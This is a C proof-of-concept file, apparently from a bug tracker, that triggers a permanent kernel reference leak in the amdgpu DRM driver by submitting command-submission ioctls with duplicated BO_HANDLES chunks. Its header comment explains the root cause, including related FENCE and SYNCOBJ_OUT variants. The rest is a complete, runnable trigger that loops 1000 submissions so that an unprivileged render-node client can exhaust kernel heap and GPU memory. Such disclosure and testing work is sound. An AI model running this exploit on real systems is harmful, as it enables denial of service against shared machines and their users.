DF-4263 / dup_chunk_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 | /* * DF-4263 — duplicate AMDGPU_CHUNK_ID_BO_HANDLES / _FENCE / _SYNCOBJ_OUT * chunks leak kernel references permanently * ===================================================================== * Root cause: the chunk loop in amdgpu_cs_parser_init() * (sys/dev/drm/amd/amdgpu/amdgpu_cs.c:151-222) dispatches on chunk_id and * for BO_HANDLES calls amdgpu_cs_bo_handles_chunk() unconditionally, which * assigns a NEWLY CREATED bo_list to p->bo_list (amdgpu_cs.c:88-89), * overwriting (and never dropping) a list built by a previous chunk of the * SAME submission. amdgpu_bo_list_create() (amdgpu_bo_list.c:61-151) returns * the list with kref 1 and holds one amdgpu_bo reference per entry * (amdgpu_bo_list.c:103). amdgpu_cs_parser_fini() puts p->bo_list exactly * once (amdgpu_cs.c:807-808). Net effect per CS ioctl: the first list plus * every BO reference it holds leak forever -> kernel heap + GTT/VRAM * exhaustion by an unprivileged render-node client. * * Same pattern, smaller objects: * - AMDGPU_CHUNK_ID_FENCE twice: amdgpu_cs_user_fence_chunk() overwrites * p->uf_entry.tv.bo (amdgpu_cs.c:52) leaking the first amdgpu_bo ref; * fini unrefs once (amdgpu_cs.c:815-819). * - AMDGPU_CHUNK_ID_SYNCOBJ_OUT twice: amdgpu_cs_process_syncobj_out_dep() * overwrites p->post_dep_syncobjs and resets num_post_dep_syncobjs * (amdgpu_cs.c:1148-1151), leaking the first array and every * drm_syncobj reference it holds (fini: amdgpu_cs.c:797-799). * * This trigger: create one 1 MiB GTT BO, then loop CS submissions whose * chunk array contains TWO valid BO_HANDLES chunks, each listing the SAME * handle N times. Each successful CS leaks N amdgpu_bo references plus one * amdgpu_bo_list. (On real hardware, repeat until GTT exhaustion; here the * chunk size check needs >= 6 dwords: sizeof(drm_amdgpu_bo_list_in)==24.) * * Self-contained; run on a system with amdgpu hardware. */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioccom.h> #include <errno.h> #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 #define AMDGPU_GEM_DOMAIN_GTT 0x2 #define AMDGPU_HW_IP_GFX 0 #define CHUNK_ID_IB 0x01 #define CHUNK_ID_BO_HANDLES 0x06 union gem_create_ { struct { unsigned long long bo_size, alignment, domains, flags; } in; struct { unsigned int handle, _pad; } out; }; union ctx_ { struct { unsigned int op, flags, ctx_id; int priority; } in; struct { unsigned int ctx_id, _pad; } alloc; }; struct chunk_hdr_ { unsigned int chunk_id, length_dw; unsigned long long chunk_data; }; struct chunk_ib_ { unsigned int _pad, flags; unsigned long long va_start; unsigned int ib_bytes, ip_type, ip_instance, ring; }; struct bo_list_in_ { unsigned int operation, list_handle, bo_number, bo_info_size; unsigned long long bo_info_ptr; }; union cs_ { struct { unsigned int ctx_id, bo_list_handle, num_chunks, _pad; unsigned long long chunks; } in; struct { unsigned long long handle, status; } out; }; #define IOCTL_GEM_CREATE \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x00, union gem_create_) #define IOCTL_CTX \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x02, union ctx_) #define IOCTL_CS \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x04, union cs_) #define NENTRY 64 /* BO refs leaked per CS = NENTRY */ #define ROUNDS 1000 int main(void) { union gem_create_ gc; union ctx_ ctx; union cs_ cs; struct chunk_hdr_ hdr[3], ibhdr; struct chunk_ib_ ib; struct bo_list_in_ bl[2]; unsigned int entries[NENTRY]; unsigned long long chunk_ptrs[3]; int fd, i, r; fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { fprintf(stderr, "DF-4263: cannot open /dev/dri/renderD128: %s\n" "On amdgpu hw each CS below permanently leaks %d BO refs " "+ one bo_list (amdgpu_cs.c:88-89 overwrite).\n", strerror(errno), NENTRY); return (1); } memset(&gc, 0, sizeof(gc)); gc.in.bo_size = 1024 * 1024; gc.in.domains = AMDGPU_GEM_DOMAIN_GTT; if (ioctl(fd, IOCTL_GEM_CREATE, &gc) < 0) { perror("gem_create"); return (1); } printf("created BO handle=%u\n", gc.out.handle); memset(&ctx, 0, sizeof(ctx)); ctx.in.op = 1; /* AMDGPU_CTX_OP_ALLOC_CTX */ if (ioctl(fd, IOCTL_CTX, &ctx) < 0) { perror("ctx alloc"); return (1); } printf("ctx id=%u\n", ctx.alloc.ctx_id); for (i = 0; i < NENTRY; i++) entries[i] = gc.out.handle; /* two independent BO_HANDLES payloads */ for (i = 0; i < 2; i++) { memset(&bl[i], 0, sizeof(bl[i])); bl[i].operation = 0; bl[i].bo_number = NENTRY; bl[i].bo_info_size = 8; bl[i].bo_info_ptr = (unsigned long long)(uintptr_t)entries; } /* one minimal valid IB chunk so the CS reaches parser_bos */ memset(&ib, 0, sizeof(ib)); ib.ip_type = AMDGPU_HW_IP_GFX; ib.ring = 0; ib.ib_bytes = 16; ib.va_start = 0; memset(&ibhdr, 0, sizeof(ibhdr)); ibhdr.chunk_id = CHUNK_ID_IB; ibhdr.length_dw = sizeof(ib) / 4; /* 8 dwords, meets DF-1484 size */ ibhdr.chunk_data = (unsigned long long)(uintptr_t)&ib; hdr[0].chunk_id = CHUNK_ID_BO_HANDLES; hdr[0].length_dw = sizeof(struct bo_list_in_) / 4; /* 6 dwords */ hdr[0].chunk_data = (unsigned long long)(uintptr_t)&bl[0]; hdr[1] = hdr[0]; hdr[1].chunk_data = (unsigned long long)(uintptr_t)&bl[1]; /* hdr[2] left zero: we submit chunks = {BO_HANDLES, BO_HANDLES, IB} */ hdr[2] = ibhdr; chunk_ptrs[0] = (unsigned long long)(uintptr_t)&hdr[0]; chunk_ptrs[1] = (unsigned long long)(uintptr_t)&hdr[1]; chunk_ptrs[2] = (unsigned long long)(uintptr_t)&hdr[2]; for (r = 0; r < ROUNDS; r++) { memset(&cs, 0, sizeof(cs)); cs.in.ctx_id = ctx.alloc.ctx_id; cs.in.num_chunks = 3; cs.in.chunks = (unsigned long long)(uintptr_t)chunk_ptrs; if (ioctl(fd, IOCTL_CS, &cs) < 0) { perror("CS"); printf("failed at round %d\n", r); return (1); } } printf("submitted %d CS with duplicated BO_HANDLES chunks; " "%d BO references + %d bo_list objects leaked permanently\n", ROUNDS, ROUNDS * NENTRY, ROUNDS); return (0); } |